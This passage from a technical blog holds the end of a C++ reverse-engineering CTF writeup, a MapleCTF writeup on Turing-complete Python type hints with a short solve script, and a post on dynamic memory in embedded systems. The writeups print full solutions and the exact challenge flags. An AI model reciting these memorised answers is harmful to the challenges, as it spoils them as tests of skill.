You may be wondering: why std::unordered_map? Why not std::map? Why type 10 extra keystrokes?

The reason is time complexity.

std::map is a binary search tree, giving O(log n) search time on average (where n is the number of entries).
std::unordered_map is a hashmap, giving O(1) search time on average. Takes more space though.

As the value of n increases, the number of operations required for std::map will increase at a faster rate compared to std::unordered_map. This is because std::unordered_map is not affected by the number of entries in the map (except in the case of rehashing); hence, the constant time complexity, O(1).

In the interest of performance, it's typical to opt for unordered_map.

But in our case, since a node only has 256 possible edges (char), the potential speed boost is limited, and the choice between map and unordered_map is debatable. ¯\_(ツ)_/¯

_(collapse)

On Scoping

An object in C++ has a constructor and destructor, functions that run at the beginning and end of its lifetime. The object's scope affects the placement of its constructor and destructor.⁵

Let’s look at some examples:

// String in outer scope.
int main()
{
	std::string s; // <- string constructor called
	if (1) {
		// do stuff
	}
} // <- string destructor called

// String in inner scope.
int main()
{
	if (1) {
		std::string s; // <- string constructor called
		// do stuff
	}   // <- string destructor called
}

Do you C the difference?

Things become complicated when we further consider lvalues and rvalues (think: variables and temporaries).

Complicated Examples

// Passing lvalue string to normal parameter.
// Copy constructor is called and a temp object is created.
void print(string s);

int main()
{
	std::string s; // <- string constructor called
	if (1) {
		// do stuff
		// ---
		// <- string copy constructor called (copies s to a temporary)
		print(s);
		// <- string destructor (of temporary string) called
		// ---
		// do more stuff
	}
}   // <- string destructor called

// Passing rvalue string to normal parameter.
// Regular constructor is called and a temp object is created.
void print(string s);

int main()
{
	if (1) {
		// do stuff
		// ---
		// `const char*` literal is implicitly converted to std::string.
		// <- string constructor called (creates a temporary)
		print("Hello world!");
		// <- string destructor (of temporary string) called
		// ---
		// do more stuff
	}
}

_(collapse)

I don't intend to cover every single possible case. But yes, C++ is extremely nuanced in this regard. (See also: classes, special member functions, move semantics.)

The point is: object scoping is all reflected at assembly level. We can get a good understanding where an object is declared by paying attention to its constructors and destructors.

This applies to classes, such as STL containers. Primitives (int, char, pointers) don't have constructors/destructors, so it’s trickier to tell where they're instantiated. It's even trickier with heavy optimisations.

Exercise: Reverse the main function.

Use the position of constructors and destructors to determine the scope of various strings.
Beware backslashes in the inserted strings.

Possible Solution

int main()
{
    int opt;
    string str;
    TrieNode* node = new TrieNode();

	// `const char*` literal is implicitly converted to std::string.
    node->insert("\x72\x50\x54\x52\x73\x66\x51\x5a\x79\x72\x75\x4b\x7f\x4e\x4d\x55\x47\x7e\x68\x7e\x72\x51\x42\x71");
	// node->insert(string("...")); also works
    // -- snip --
    // node->insert("...");
    
    node->should_mix = true;

    cout << "Enter [1] for insert string" << endl;
    cout << "Enter [2] for search string" << endl;

    while (true) {
        cout << "Option: ";
        cin >> opt;
        if (opt == 1) {
            cout << "Input string to insert: " << endl;
            cin >> str;
            node->insert(str);
        } else if (opt == 2) {
            cout << "Input string to search: " << endl;
            cin >> str;
            bool res = node->search(str);
            if (res)
                cout << "String " << str << " exists." << endl;
            else
                cout << "String " << str << " does not exists." << endl;
        } else {
            cout << "Bye" << endl;
            return 0;
        }
    }
}

_(collapse)

From here on, we'll continue making incremental adjustments to improve our score, while learning various C++ nuances and features.

On Structured Bindings

Here we take a detour to peek at build.sh. And something sparkly catches our eye:

g++ "$@" -fno-asm -std=c++17 -g -o "$binary" "$source"

Our code is compiled with C++17—what an oddly specific standard!

One cool feature introduced by this standard is structured bindings, which is as close as we can get to Python iterable unpacking.

for (auto it = next_node.begin(); it != next_node.end(); ++it) {
	// -----
    auto pair = *it;
    char ch = std::get<0>(pair);
    TrieNode* node = std::get<1>(pair);
	// +++++
    auto [ch, node] = *it;
	// +++++
    new_map[ch ^ cmix] = node;
}

Since it is an iterator over key-value pairs, we can dereference, then bind (unpack) the pair to ch and node.

One telltale sign of structured bindings is in the second loop of TrieNode::mix(). Notice how the first item of the pair (ch2 = std::get<0>(pair);) is read but never used.

^{Ghidra decompilation of the second loop of mix(). Notice how ch2 is never used. (You can also verify this by inspecting the disassembly!)}

Another giveaway is that std::get is rarely used to access map pairs, unless in generic code. The idiomatic ways are:

std::pair members (through iterator): it->first, it->second

std::pair members (through pair):

for (const auto& pr : map) {
  // pr.first, pr.second
}

structured bindings (since C++17)

N.B. With optimisations, these indicators would be less obvious. Thankfully the program wasn't compiled with optimisations.

On Const Ref

We're still short of our target though. Some diff lines stand out:

 ; Extra stack variables!
-sub     rsp, 0xc8
-mov     [rbp-0xc8], rdi
+sub     rsp, 0xb8
+mov     [rbp-0xb8], rdi
 ; Calling the wrong overload!
-call    _ZSt3getILm0EKcP8TrieNodeERNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERS7_
+call    _ZSt3getILm0EKcP8TrieNodeERKNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERKS7_

^{Extracted diff lines from compiler.py output. Red (-) indicates extra lines in our program. Green (+) indicates missing lines.}

Looks like we declared 16-bytes of extra stack variables.
- Local variables are stored on the stack, which allocates memory by a simple sub instruction.
- Larger subtraction = more stack memory allocated.
It also looks like we called the wrong overload. The mangled names — simplified for readability — translate to:
```
-std::get<0>(std::pair<char, TrieNode*>&)
+std::get<0>(std::pair<char, TrieNode*> const&)
```
C++

We can fix both these issues by qualifying our binding as const&.

 for (auto it = next_node.begin(); it != next_node.end(); ++it) {
-    auto [ch, node] = *it;
+    const auto& [ch, node] = *it;
     new_map[ch ^ cmix] = node;
 }

With auto, our binding was creating new char and TrieNode* copies. (Hence, the extra 16 bytes.) With const auto&, we take a constant reference.

Constant: meaning we only read the value. No modifications. This fixes the second issue.
Reference: meaning we refer (point) to the original objects instead of copying them. This fixes the first issue.

Using const-refs is good practice for maintainability and performance (imagine copying a 64-byte struct each iteration 🤮).

On For-Range Loops

The astute may notice the above can be refactored slightly with the help of range-based for-loops. These were introduced in C++11, and are like Python for-in loops, but less powerful.

Example

-for (auto it = next_node.begin(); it != next_node.end(); ++it) {
-    const auto& [ch, node] = *it;
+for (const auto& [ch, node] : next_node) {
     new_map[ch ^ cmix] = node;
 }

_(collapse)

In fact, range-based for-loops are syntactic sugar for the plain loops we all know and love.

for (range_decl : range_expr) {
	/* ... */
}

translates to...

{
	auto&& __range = range_expr;
	auto __begin = begin; // Usually std::begin(__range)
	auto __end = end;     // ...and std::end(__range).
	for (; __begin != __end; ++__begin) {
		range_decl = *__begin;
		/* ... */
	}
}

(See more: cppreference.)

On Control Flow

Decompiler output may not accurately present the control flow of the original program. Changing:

the order of control flow, and
which statement is used

may lead us closer to 100%.

Would it make more sense to use a switch instead of an if in a certain place?

Other Useful Tips

Use Godbolt’s Compiler Explorer to play around with disassembly output. It helps with analysing small details such as variable declaration.
- Remember to set x86-64 gcc 12.2 and -std=c++17.
Two good sources for standard library documentation are cppreference (high quality) and cplusplus.com (beginner-friendly).
Version control is incredibly useful for tracking incremental changes.

The Infernal Flag

Once we recover enough source code, it's time to find the internal flag. This is probably the least interesting part (for me), so I'll keep it short.

Notice:

In main, a bunch of garbage strings are inserted into the trie.
Afterwards, mixing is turned on (node->should_mix = true), so that the next node->insert() will jumble the trie...

Now it's time to take a really close look at mix().

What is jumbled? All the strings.
How? All chars are xor'ed with a char (the wordhash of a string).
How many possible chars are there? 256.
Two words: brute force.

Maybe one of the strings just happens to be the internal flag xor'ed. Who knows?

After getting ≥ 97.5% similarity and finding the internal flag, submit both to the platform and profit!

Final Remarks

I'm sure the chal is called Vitamin C++ because it's designed to make us (mentally) stronger. Every time you trie harder, you lose a brain cell but strengthen a neuron. Indeed, we covered quite a lot of concepts today:

Language Features: auto, structured bindings, for-range loops, const-ref.
Library Features: iterators, unordered map.
Unordered map is preferred for performance in lookup.
Scoping (and lvalue-rvalueness) affects position of constructors/destructors. (Very good takeaway for C++ reversing.)
Pay attention to groups of sub and mov instructions to check if we declared too little/many stack variables.
Ghidra is pretty powerful.
C++ is fun.

Lots of tuning was involved; but the various tricks employed above netted us a first blood, so I can't complain. Despite a couple lines of janky const-uncorrect code, it was a nice challenge.

Also, who doesn't like a good pun hidden in a challenge?

Solve Sauce

(Files not embedded, as they're a bit big.)

Flag

hkcert23{c++stl_i5_ev3rywh3r3_dur1ng_r3v}

Footnotes

Decompetition is a reverse-engineering CTF held irregularly. ↩︎
[2024 Nov] demangler.com seems to be down. Here's a different site with similar functionality: n.fuqu.jp/c++filtjs/ ↩︎
In proper engineering, we would hide the implementation behind private, so next_node should be a private variable. But since this is a CTF, proper engineering comes second. 😛 ↩︎
Or just read the assembly and follow the call conventions (thiscall for member functions, fastcall for everything else). ↩︎
This also depends on optimisations, and whether the object contains any other classes. In some cases, constructors or destructors may be inlined or optimised away. ↩︎

Subtype Metaprogramming is Mostly Harmless

2023-10-02T00:00:00Z

Types are cool! But y'know what's even cooler? A CTF challenge on types!

This year's MapleCTF graced us with a challenge involving much class, much inheritance, much confuzzlement, and much eyesore.

Description

Mostly Harmless

Some people consider type annotations to be useless. I consider everything but type annotations redundant.

Author: JJ
17/291 solves.

The chal is also humorously tagged "cursed" and "misc". Well, that's reassuring...

Anyway, we're presented with two files:

app.py: Driver code to convert the flag (input) to a mysterious line of output, then opens a subprocess and runs
```
mypy output.py
```
Shell
output.py: A template file full of class declarations and inheritance. Utter gibberish on first sight.

You can follow along by getting these files here.

Solve

What? A section titled "solve"? Already? What about the usual analysis and observations?

Usually I begin my writeups with an extensive analysis section. Contrary to this, Mostly Harmless is one of those blursed challenges which favours those with strong guess-fu; but the challenge is so intellectually challenging and deep, that to properly reverse (let alone understand) it would take ~~a PhD,~~ ~~years,~~ extra study post-CTF.

The key idea is to recognise:

How does the flag checking work? Where is the final condition which decides whether the input is correct or not?
- By using the mypy type checker.
How do the classes containing numbers (e.g. QLW_s1, QRW_s1) relate to the classes containing a letter (e.g. L_x, L_a)?
- By inheriting classes in a specific manner, therefore creating a subtyping relationship.

Still, let's look at some key insights:

The final line of output.py is built by stacking input in a recursive fashion:
```
L_<INPUT[i]>[N[ L_<INPUT[i-1]>[N[ ... ]] ]]
```
Python
- Thus, characters are encoded by the L_* classes.
- The chain also begins (or ends?) with QRW_s29.
There are a bunch of Q*_s* classes, numbered from 1 to 71. Indices, perhaps? Or just references?

Any clue to the relationship between these symbols? Yes! We see interesting stuff from lines 320 to 459.

# Line 378.
class QL_s29(Generic[T], L_n["N[QLW_s31[L_x[N[MR[N[T]]]]]]"]): ...
#          │               │          │
#          │               │          └── Next number
#          │               └── Next letter in flag
#          └── Current number

And guess what? That's all we need! Just follow the numbers like how Alice follows the White Rabbit!

Script

The solve is rather simple and fits within 25 lines (including comments!).

import re

# Extract the lines containing pointers(?)/relationships between letters.
with open('output.py') as f:
    lines = f.readlines()[319:458:2] # Skip every 2 lines, bc redundant info.

lookup = {}

# Parse and store the relationships in a lookup map.
for line in lines:
    curr_idx, char, next_idx = re.findall(r'Q._s(\d+)[^ ]+, L_(\w).*.W_s(\d+)', line)[0]
    lookup[int(curr_idx)] = (int(next_idx), char)

# Follow the pointers until we hit 71.
idx = 29
flag = ''
while idx != 71:
    idx, c = lookup[idx]
    flag += c

# Profit!
print(f'maple{{{flag}}}')

Flag

Lé Flaggo

maple{no_type_system_is_safe_from_pl_grads_with_too_much_time_on_their_hands}

C++ template metaprogramming reverse when?

_(collapse)

We're done. We got the flag. But my curious side wants to dig deeper.

So let's go deeper! The rest of this post attempts to dissect the type theory behind the challenge, starting from basic principles.

Back to the Basics

This section attempts to bolster the reader's understanding of programming and type theory in order to understand the nitty-gritty of the challenge. If you're comfortable with types and variance, feel free to skip to the next section. If you have any questions, do let me know.

Classes

Classes are a fundamental concept in object-oriented programming (OOP) that allow us to define objects with attributes (variables) and behaviours (methods/functions). They serve as blueprints or templates for creating instances of objects. In the functional realm, classes are used to create new types.

From here on, class and type are interchangeable.

Here's an example:

# Declare a new class called Challenge.
class Challenge:
    # __init__ is a magic method called automatically when an instance is created.
    def __init__(self, title, description):
        print(f"Creating challenge {title}...")
        self.title = title
        self.description = description

# Create instance of our class.
chal = Challenge("Mostly Harmless", "A totally harmless reverse challenge abusing Python types.")
# Prints "Creating challenge Mostly Harmless..."

But we'll stay relevant to the challenge and keep things simple by declaring classes without a meaningful body. Let's not worry about fancy Python methods and class mechanics.

# This also declares a class called Challenge.
class Challenge: ...

The ... (ellipsis) usually denotes an empty implementation.

Classes can do a lot more, but for now this explanation suffices.

Inheritance

Inheritance is a mechanism in OOP that allows a class to inherit attributes and behaviour from another class. The new class is called a subclass or derived class, and the class being inherited from is called the superclass or base class.

class Reverse(Challenge): ...

Here, Reverse is a subclass of Challenge, and Challenge is a superclass of Reverse.

Semantically, a Reverse is also a Challenge, but the inverse does not always apply.

assert isinstance(Reverse(), Reverse) == True    # A Reverse is a Reverse. (Duh.)
assert isinstance(Reverse(), Challenge) == True  # A Reverse is also a Challenge.
assert isinstance(Challenge(), Reverse) == False # Supertype is not a subtype.

Type-wise, it creates a relationship: Reverse is a subtype of Challenge. More on this later.

We can inherit multiple classes too:

# Create a class for Python Reverse challenges.
class PythonReverse(Python, Reverse): ...

Both Python and Reverse are superclasses/supertypes of PythonReverse.

Mathematically, we denote inheritance with $A : B$, where $A$ is the subtype and $B$ the supertype.

Typing

Python is a dynamically-typed language and does not offer type-checking out-of-the-box. This challenge uses the third-party tool mypy to type-check output.py (get it with pip install mypy). Let's look at a typed example.

class Challenge: ...
class Reverse(Challenge): ...
class Web(Challenge): ...

x: Challenge = Challenge()
y: Challenge = Reverse()
z: Challenge = Web()

We declare three classes: Challenge, Reverse, and Web. The latter two are nominal subtypes of Challenge.
Nominal vs. Structural Subtyping
Generally, there are two ways to look at subtypes:
- Nominal Subtyping: Two types are considered subtypes if they were declared such. Usually an explicit link is specified, e.g. inheritance.
  class Reverse(Challenge): ...
  Python
  Here, Reverse is a (nominal) subtype of Challenge.
- Structural Subtyping: Two types are considered subtypes if their structures match. No explicit linking required.
  class Challenge: title = ... description = ... def print(): ... class Web: # No inheritance. title = ... description = ... url = ... def print(): ... def instantiate(): ...
  Python
  Web is a (structural) subtype of Challenge, because Web contains attributes and behaviour of Challenge.
  
  This is more akin to duck typing.
All the subtyping discussed in this post is nominal subtyping.

_(collapse)
We then...
- declare three variables x, y, z,
- annotate them with Challenge, and
- initiate them to instances of the classes we created.

Beware, Challenge takes on two roles here:

Type. When inheriting (in the declaration of class Reverse) or when annotating x, Challenge is treated as a type.
Constructor. When calling Challenge(), we are instantiating an object.

The type annotation is a constraint we place on the variable.

When we run mypy on this file, the type-checker will:

process class declarations,
register subtyping relationships ($\texttt{Reverse} <: \texttt{Challenge}$, $\texttt{Web} <: \texttt{Challenge}$), and
type-check annotations and values.

$U <: T$ denotes "$U$ is a subtype of $T$".
$U :> T$ denotes "$U$ is a supertype of $T$".

Examples

$\texttt{int} <: \texttt{object}$
$\texttt{RuntimeError} <: \texttt{Exception} <: \texttt{BaseException}$
$\texttt{object} :> \texttt{int}$

The type-check passes if the values are subtypes of the annotations. This is also called a subtype query (distinguished by $<:^?$).¹ Other examples of subtype queries:

x: int = 5                  # Is type(5) a subtype of int? ✓
y: float = "abc"            # Is type("abc") a subtype of float? ✗
z: Challenge = Reverse()    # Is type(Reverse()) a subtype of Challenge? ✓

We'll find out later how to resolve subtype queries. That is, we'll look at how to figure out if a class is a subtype of another class. (Jump.)

Subtypes are great for polymorphism as they allow us to construct containers (lists, arrays, maps) in a concise and type-safe manner. Here's a simple example:

from typing import *

class Challenge: ...
class Reverse(Challenge): ...
class Web(Challenge): ...
class Pwn(Challenge): ...

# Create a list of different challenges.
chals: List[Challenge] = [Reverse(), Web(), Pwn()]

Invariance, Covariance, and Contravariance

Wow, big mathy terms.

Suppose we want to display our list of challenges. We create a function display() which takes a list of challenges. But what if we specifically pass in a list of Reverse challenges?

# Create a generic list type using an invariant type variable T.
T = TypeVar('T')
class MyList(Generic[T]): ...

def display(chals: MyList[Challenge]): ...

display(MyList[Reverse]())
# ERROR! Argument 1 to "display" has incompatible type "MyList[Reverse]"; expected "MyList[Challenge]"

(N.B. For the sake of this section, I've used a custom MyList type instead of typing.List.)

But why did this error? Although mypy deduced that $\texttt{Reverse} <: \texttt{Challenge}$, it couldn't deduce that our subtype query $\texttt{MyList[Reverse]} {} <:^? \texttt{MyList[Challenge]}$ holds.

This is where covariance and contravariance come into play. With these two bad bois, we can derive further relationships on generic types. The two are similar, with a minor difference.

Let $F[T]$ be a generic container with type parameter $T$.
If $T$ is covariant, then $A <: B\ \iff\ F[A] <: F[B]$ for any type $A$, $B$.
If $T$ is contravariant, then $A <: B\ \iff\ F[A] :> F[B]$ for any type $A$, $B$.² (It flips!)
If $T$ is invariant, then $A = B\ \iff\ F[A] = F[B]$. No other subtyping relationships are derived. (This is the default!)

Hence, in the previous code example, we can fix the code by adding covariant=True:

T = TypeVar('T', covariant=True)

Now $\texttt{MyList[Reverse]} {} <: \texttt{MyList[Challenge]}$, and the program compiles.

At this point, you should be able to appreciate the double entendre in the title: N[Subtype Metaprogramming] is N[Mostly Harmless].

Metaprogramming with Type Hints

Disclaimer: Here be dragons.

I don't have a PhD in computer science or mathematics. Most things below are rephrased from Roth's paper, but if you spot something erroneous (or have questions), do let me know. :D

We haven't even started digging through output.py! Thankfully, the challenge author linked a paper for our perusal.

Be a Subtype Checker

Back to the challenge. The program leverages the mypy type-checker to perform flag-checking. The last line of output.py asks an important question (aka subtype query): is QRW_s29[L___TAPE_END__[N[...]]] a subtype of E[E[Z]]???

To answer this subtype query, we need to search for a trail of supertypes leading us from the supposed subtype (QRW_s29[L___TAPE_END__[N[...]]]) to the upper type (E[E[Z]]).

A quick aside.

We use "$\rightsquigarrow$" to denote a resolution step in the checker.
For convenience, we simplify expressions by ignoring brackets: $C[D[E[A]]]$ becomes $CDEA$.

How does the search go? Meet the two subtyping rules used by the type-checker:

Super. Substitute a type with its supertype. $$ (C : D) \land (CA <: EB) {} \rightsquigarrow DA <: EB $$ In English, if $C$ has a supertype $D$, we can "go up a level" to search for a match.
Cancel.³ Remove the outermost type from both sides of the query. (And flip, since all type parameters are assumed to be contravariant!) $$ EA <: EB \rightsquigarrow A <: B $$ This just comes from our definition of contravariance.

The search terminates once we find a match $A <: A$.

What if there are multiple supertypes (due to multiple inheritance)? Wouldn't our paths diverge? Which one do we choose?

Keep in mind we're performing a search.

A good heuristic is to choose a supertype that cancels out the outer type on the other side.

For example:

class C(Generic[T], A["C[T]"], B["A[T]"]): ...
_: B[C[Z]] = C[C[Z]]

Here, choosing $BAT$ allows us to cancel $B$ in the next step.

$CCZ <:^? BCZ$
$\rightsquigarrow BACZ <:^? BCZ$ (Super)
$\rightsquigarrow ACZ :>^? CZ$ (Cancel)

Subtype-Checking Example

Let’s walk through an example of an infinite subtyping query.⁴ Here's the code:

from typing import TypeVar, Generic, Any
z = TypeVar("z", contravariant=True)
class N(Generic[z]): ...
x = TypeVar("x")
class C(Generic[x], N[N["C[C[x]]"]]): ...
class T: ...
class U: ...
_: N[C[U]] = C[T]()  # Subtype query: CT <: NCU.

"C[C[x]]" is quoted in order to forward-reference C. (We declare and use it in the same statement.)

And here's the applied rules:

$CT <:^? NCU$
$\rightsquigarrow NNCCT <:^? NCU$ (Super)
$\rightsquigarrow NCCT :>^? CU$ (Cancel)
$\rightsquigarrow NCCT :>^? NNCCU$ (Super)
$\rightsquigarrow CCT <:^? NCCU$ (Cancel)
(and so on...)

As you may notice, we started with $CT <:^? NCU$, but after 4 steps, another $C$ joined the party. Inductively, this will continue to grow forever (or until mypy runs out of space).

Python Type Hints are Turing Complete

It turns out that Python type hints are Turing Complete thanks to two characteristics: contravariance and expansive-recursive inheritance.

Contravariance, as we saw previously, means $A <: B\ \iff\ F[A] :> F[B]$.

In this section, we assume all type parameters are contravariant.
Expansive-Recursive Inheritance is more complicated to define, but the implications are that we can inherit recursively, and generate infinite, undecidable subtype queries. We saw an example of this in a previous section. (Read more in §2 of Roth's paper.⁵)

With these, Python type hints can (slowly) simulate any Turing machine or computation!

What is a Turing Machine?

A Turing Machine is a theoretical computing device that operates on an infinite tape divided into cells. It has a read/write head that follows rules to read, write, and move on the tape based on its current state and the symbol it reads. It repeats this process until it reaches a halting state.

Turing Machines are powerful because they can solve a wide range of computational problems. They can perform calculations, simulate other machines, and theoretically solve any problem that can be solved by an algorithm. They serve as a fundamental model for understanding the capabilities and limitations of computation.

Get some intuition by playing the Turing Machine Google Doodle.

_(collapse)

The whole ordeal is rather complicated. Essentially, there are two things to be aware of:

Type Encoding. Different aspects of the tape machine are encoded as types. For example, the L_* encode the set of possible values (excluding $\bot$, i.e. no value), and ML encodes the machine head.

^{The components of Grigore’s subtyping machine. All classes are parameterised by a contravariant type parameter $x$, except $Z$, which is monomorphic.⁵}
Inheritance Rules. These are used to encode state transitions and the general mechanics of the Turing machine.

^{Roth's subtyping inheritance rules. This image is included to illustrate inheritance rules. They differ from the rules in the challenge (which are based on Grigore's work). The first 4 rows encode Turing Machine state transitions. Again, the type parameter $x$ is contravariant.⁵}

If you want to read more, I suggest reading §1.2 of Roth's paper.⁵

Decoding the Challenge's Subtype Query

Just for fun, let's solve some subtype queries from the challenge. Who needs a job when you're employed as a full-time subtype checker?

Although the given subtype query in output.py doesn't work, we can still try simpler versions. It turns out the query recurses on the numbers. For example, the following queries compile:

E[E[Z]] = QRW_s71[L___TAPE_END__[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]()
E[E[Z]] = QRW_s46[L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]()
E[E[Z]] = QRW_s06[L___TAPE_END__[N[L_s[N[L_d[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]]]()
E[E[Z]] = QRW_s30[L___TAPE_END__[N[L_s[N[L_d[N[L_n[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]]]]]()

We just started with the base case (empty suffix of flag), and worked backwards.

Let's look closer at the base case:

$$\texttt{QRW\_s71[...]} <:^? \texttt{E[E[Z]]}.$$

It turns out this is a special case, since the declaration of QRW_s71 inherits from E["E[Z]"]. So with just one Super expansion step, we conclude that the base case checks out. Wow, life seems easy as a subtype-checker.

Let's try the next query.

_: E[E[Z]] = QRW_s46[L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]()

Although QRW_s46 inherits multiple classes, we'll substitute the E["QRL_s46[N[T]]"] supertype, because this allows us to cancel E[...] afterwards.

# Super.
_: E[E[Z]] = E[QRL_s46[N[L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]]]()
# Cancel.
_: QRL_s46[N[L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]] = E[Z]()

We can carry on...

_: QRL_s46[N[L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]] = QRL_s46[N[QLW_s46[E[E[Z]]]]]()
_: L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]] = QLW_s46[E[E[Z]]]()
_: L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]] = QLW_s46[L___TAPE_END__[N[E[E[Z]]]]]()
_: MR[N[L___TAPE_END__[N[E[E[Z]]]]]] = QLW_s46[L_s[N[L___TAPE_END__[N[E[E[Z]]]]]]]()
_: L___TAPE_END__[N[E[E[Z]]]] = QLW_s46[MR[N[L_s[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]()
_: E[E[Z]] = QLW_s46[MR[N[L_s[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]()

Boy, work as a subtype checker seems like slave labour.

Notice that we seem to have... doubled-back? Let's do a quick comparison.

# Initial query.
_: E[E[Z]] = QRW_s46[L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]()
# Midway.
_: E[E[Z]] = QLW_s46[MR[N[L_s[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]()

Indeed, the query has made one pass over the tape. Also notice how:

QRW_s46 changes to QLW_s46. (Direction swapped!)
The chain of tokens is reversed: L___TAPE_END__, L_s, MR becomes MR, L_s, L___TAPE_END__.

This is one shortcoming of Grigore's encoding of a subtyping machine: it makes a pass over the entire tape before processing a single state on the Turing Machine. This drastically increases the runtime of the machine.

Let's continue...

_: QLR_s46[N[MR[N[L_s[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]] = E[Z]()
_: MR[N[L_s[N[L___TAPE_END__[N[E[E[Z]]]]]]]] = QRW_s46[E[E[Z]]]()
_: L_s[N[L___TAPE_END__[N[E[E[Z]]]]]] = QR_s46[E[E[Z]]]()
_: L___TAPE_END__[N[E[E[Z]]]] = QRW_s71[MR[N[L_x[N[E[E[Z]]]]]]]()
_: E[E[Z]] = QRW_s71[L___TAPE_END__[N[MR[N[L_x[N[E[E[Z]]]]]]]]]()

Oh look! We've arrived back at QRW_s71! Time for another quick comparison:

# QRW_s71 query (original).
_: E[E[Z]] = QRW_s71[L___TAPE_END__[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]()
# QRW_s71 query (deduced from QRW_s46).
_: E[E[Z]] = QRW_s71[L___TAPE_END__[N[MR[N[L_x[N[E[E[Z]]]]]]]]]()

Looks like L___TAPE_END__ is replaced with a L_x. Eh, still resolves to E[E[Z]] though, so we're fine. ¯\_(ツ)_/¯

This was a rather informal attempt at induction, but hopefully it provides some insight on how the subtype query is resolved recursively.

Closing Remarks

Overall, this is a remarkable CTF challenge. When opening the files, I was pleasantly surprised, because it's so rare to see type-theoretic challenges.⁶ (In fact, this was the first type-theoretic chal I've ever seen!)

I still feel like we cheated the challenge by not going the painstaking, masochistic route of pathfinding the subtype tree. I guess that method would prove more effective if there were more red-herrings (e.g. misleading class inheritances).

But overall, an intellectually challenging reverse challenge!

References

Roth, Ori. 2023. Python Type Hints Are Turing Complete.
- Good for intuition + explanation of concepts.
- Builds upon Grigore's paper and presents an optimised subtyping machine.
Grigore, Radu. 2016. Java Generics are Turing Complete.
- The implementation of the CTF challenge was based on this paper.

Footnotes

N.B. Grigore's and Roth's paper use a different notation ($\blacktriangleleft$ / $\blacktriangleright$) for subtype queries, but I opted to use $<:^?$ / $:>^?$ instead. ↩︎
You may be wondering how the heck is contravariance useful. Well, it's immensely useful for functions and serialisers. ↩︎
In the paper, they use Var instead of Cancel, but I think the latter conveys the operation better. ↩︎
Blatantly taken from Roth's paper. ↩︎
Roth, Ori. 2023. Python Type Hints Are Turing Complete. ↩︎ ↩︎ ↩︎ ↩︎
I was also slightly disappointed when it turns out the solution was rather straightforward. But eh, it was fun reading the paper. :D ↩︎

Why Dynamic Memory Allocation Bad (for Embedded)

2023-06-24T00:00:00Z

^{Getting better hardware is not always the solution. Sometimes; but not always. Don't be clueless.}

I keep explaining why dynamically allocating on embedded systems is a disagreeable idea, so thought I’d throw it on a post. This is a confusing topic for many junior developers who were taught to use new and delete in early C++ courses. In desktop/web application programming, dynamic allocation is everywhere.¹ Not so in embedded.

To clarify, dynamic memory allocation (in embedded) isn't always bad, just as goto isn't always bad. Both dynamic allocation and goto have appropriate uses, but are often misused. As engineers, it's our duty to understand which situations call for these features and to make sound choices.

^{Clueless software engineers thinking "the more advanced the concept, the better". Don't be clueless.}

Not only is allocation an issue. Virtual classes, exceptions, runtime type information (RTTI)—these are all no-nos for some embedded companies. They're all avoided for the same reasons: performance degradation and code bloat. In essence, not enough time and not enough space. With dynamic memory, there's another reason.

So why is dynamic memory bad?

Because of Memory Fragmentation. This occurs when we keep allocating and deallocating memory in various sizes. This may lead to wasted memory, leading to slower allocations (due to the need to reallocate and compact memory) or our worst nightmare: an out-of-memory exception. 🤯

^{Memory becomes fragmented after multiple allocs and deallocs, leading to wasted memory space. (source)}

Since embedded systems tend to require sustained uptime, constantly using dynamic memory may lead to highly fragmented memory.

This is a serious issue. Persistence, backup, and resets should be considered when developing embedded applications, but buggy resets—say, due to OOM crashes—should be avoided. Maybe not an issue if you're working with missiles though.

What alternatives are there?

In C, dynamic allocation is largely optional; you, the programmer, have more control over memory usage.²

In C++, it's more of a hassle. Dynamic memory allocation is core to many standard library containers: strings, vectors, maps. The Arduino String also uses dynamic memory. No doubt, these libraries are immensely useful for organising and manipulating data, but they come with dynamic allocation.³

The alternative is to use static allocation. Instead of allowing containers to grow unbounded, we limit their size with a maximum bound. Sometimes, it's as simple as changing array declarations.

// --- Dynamic ---

size_t size = 10;
int* array1 = new int[size];
// `size` is dynamic. e.g. can change with input.
// Note that we can also resize the array and reassign the pointer.

// Use the array...
for (int i = 0; i < size; i++)
    array1[i] = i;

delete[] array1;


// --- Static ---

// Define a maximum capacity...
#define MAX_SIZE 100                // ...with a macro,
// constexpr size_t MAX_SIZE = 100; // ...or use C++'s type-safe constexpr.

int array2[MAX_SIZE];

// Use the array... (be careful to use `size` instead of `MAX_SIZE`).
for (int i = 0; i < size; i++)
    array2[i] = i;

With complex data structures, more work is needed to eliminate dynamic allocation. This is what ETL containers achieve, as opposed to STL containers.

The ETL (Embedded Template Library) is an alternative to the C++ standard library, and contains many standard features plus libraries useful for embedded systems programming (e.g. circular buffers).

Here's a quick preview with vectors:

// STL
// Allocate a dynamic vector (on the heap). Capacity grows on-demand.
std::vector<int> vec1 = {1,2,3};

// ETL
// Allocate a static vector (on the stack) with fixed capacity.
etl::vector<int, 10> vec2 = {1,2,3};

One benefit of static allocation is speed. With dynamic, allocators need to figure out size constraints and reallocate. If the allocator is good, it may perform better by using smart strategies (e.g. reusing a previously freed bin); but this still introduces overhead. With static, memory is either pre-allocated (in the case of global variables) or quickly allocated with a single instruction (subtracting the stack pointer).⁴ Hence, better performance at the expense of flexibility.

